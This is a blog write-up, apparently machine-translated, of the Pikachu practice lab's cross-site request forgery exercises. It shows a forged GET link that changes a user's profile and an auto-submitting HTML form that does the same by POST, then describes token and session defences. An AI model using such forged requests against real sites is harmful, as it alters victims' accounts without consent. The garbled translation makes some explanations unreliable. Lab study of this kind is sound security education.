Pikachu-- cross-site request forgery (CSRF)

First take a brief introduction about before doing the experiment:

A, CSRF (cross-site request forgery) Overview:
Cross-Site Request Forgery referred to as "CSRF", the CSRF attack scenario an attacker can fake a request (this request is usually a link), and fool the target user to click, Once the user clicks on this request, the entire attack is complete. So CSRF attacks become "one click" attack. A lot of people do not know the concept of CSRF, and XSS and sometimes it will be confused or, worse, it will be ultra vires and confuse the issue, this is not clear due to the principle.
Here are a scene to explain, hoping to help you understand.
Scene demand:
black on white you want to modify fill in the membership shopping site tianxiewww.xx.com address.
Under white look is how to modify their own password:
Log --- modify membership information, submit a request --- modified successfully.
So you want to modify information black white, he needs to have: 1, 2 login permissions, modification request personal information.
But do not put myself in white xxx website account password to tell black, black how to do that?
So he went to register an account on its own www.xx.com, then modify your own personal information (such as: E-mail address), he found that the modified request is:
[http://www.xxx .com / edit.php [email protected]&Change=Change]?
so he carried out such an operation: this link camouflage look after login white xxx site, click deceive him, white click on this link after, personal information is modified, the purpose of the attack is complete black.
Why black action can achieve it. There are several key points:
1.www.xxx.com check this site is not excessive when users modify personal information, leading to the request easily forged;
--- Therefore, we determine whether there is a website CSRF vulnerability, in fact, to judge its operation on critical information (such as passwords and other sensitive information) (additions and deletions) whether easily forged.
2. White clicked on the link sent in black and white this time, just to log in shopping online;
--- if white safety awareness high, do not click on unknown links, the attack will not be successful, or even white click on the link, but this time did not sign in white shopping site, will not succeed.
--- Therefore, to successfully implement a CSRF attack, we need to "climate, geography, and" conditions.
Of course, if the black front page xxx advance if the network finds a XSS vulnerability, the black might do: cheat White visited ambush XSS script (to steal cookie script) pages, white strokes, small black and white to get the cookie, and then successfully log on to the black background of white, black white amend their own relevant information.
--- so than with the above look, you can see the difference of CSRF and XSS: CSRF is completed by the user's privileges attack, the attacker did not get the user's permission, and steal XSS directly to the user's permission, and then do harm.
So, if you want to prevent CSRF attack site, you need to implement the operation of sensitive information corresponding security measures to prevent these situations that appear to be forged, leading to CSRF. For example:
- token sensitive information increases safety of operation;
- the operation of increasing the security of sensitive information codes;
- a logic flow of sensitive information safe operation of embodiment, such as when to change the password, you need to check old password.

If you do not read quite understand, do not hesitate to reread it
you can "Cross-site request forgery" test section corresponding to a better understanding of the vulnerability.

 Is simply a fake and landing logs on similar sites, such as their login time, tempt you to click on some links, at this time the data is modified.

Two, CSRF (get type)

We first conduct some get caught, look at the information that is returned when modify the information to find the breakthrough!

 

 

 

 

 

 

 

 

 Discovery request does not get sent back to the token parameter, indicating that the background is not done measures against CSRF is, at the same time get request is submitted. Then there is no concerns.

Next, the attacker must register yourself an account, change what email address or other way to get this link on it!

/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=china&email=vince%40pikachu.com&submit=submit

Then we will this information be modified and disguised issued vince, which tempts it clicks, it clicks when it has been modified.

 

 

 

 Success!

 

Three, CSRF (post type)

We subcontract:

 

 

Discovery request is a form of body submitting the form, then we attacker can build a site, make a form on the site, induce users to click on this link, when the user clicks, it will automatically submits a POST request to the server to modify the presence of CSRF Personal information.

Form code: address to the China (china),

 1 <html>
 2 <head>
 3 <script>
 4 window.onload = function() {
 5   document.getElementById("postsubmit").click();
 6 }
 7 </script>
 8 </head>
 9 <body>
10 <form method="post" action="http://192.168.24.140/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
11     <input id="sex" type="text" name="sex" value="girl" />
12     <input id="phonenum" type="text" name="phonenum" value="12345678922" />
13     <input id="add" type="text" name="add" value="china" />
14     <input id="email" type="text" name="email" value="[email protected]" />
15     <input id="postsubmit" type="submit" name="submit" value="submit" />
16 </form>
17 </body>
18 </html>

Fixed:

 

 

 

Four, token defense

We saw the capture by adding token, j allows us to join his operation is not easily forged, each request, have increased a random code, random code needs enough hard enough, the background every time the random code verification we enter Pikachu platform CSRF (token) page and login:

 

 CPC will modify personal information to access token_get_edit_.php this file, this file will generate a token, value is the backend sent me, type is hidden and can not see the front, but can be seen in the source code. Every point of submission, token will be submitted to the background, the background will be validated token, and if the token equal to the current session inside, will let you submit.

 

V. Other precautions

1, increasing the token verification (a common practice)

 The key operating parameters for increased token, token value must be random, each is different

2, on the secure session management (session to avoid being used)

(1) Do not save sensitive client information (such as authentication information);

(2) test directly off, the session expires when the exit mechanism;

(3) set the session state-owned mechanisms, such as misuse within a few minutes, the automatic landing overtime.

3, access control, security management

The need for identity authentication when the secondary modification (1) sensitive information, such as: When you modify an account, you need to verify the old password.

Modification (2) sensitive information using POST, rather than GET

(3) to limit the original page at http missed shots in the referer.

4, increase codes:

Generally used in landing (anti brute force), it can also be used in the form of other important information on the operation of the (need to consider the availability)

 

Guess you like

Origin www.cnblogs.com/li2019/p/12633244.html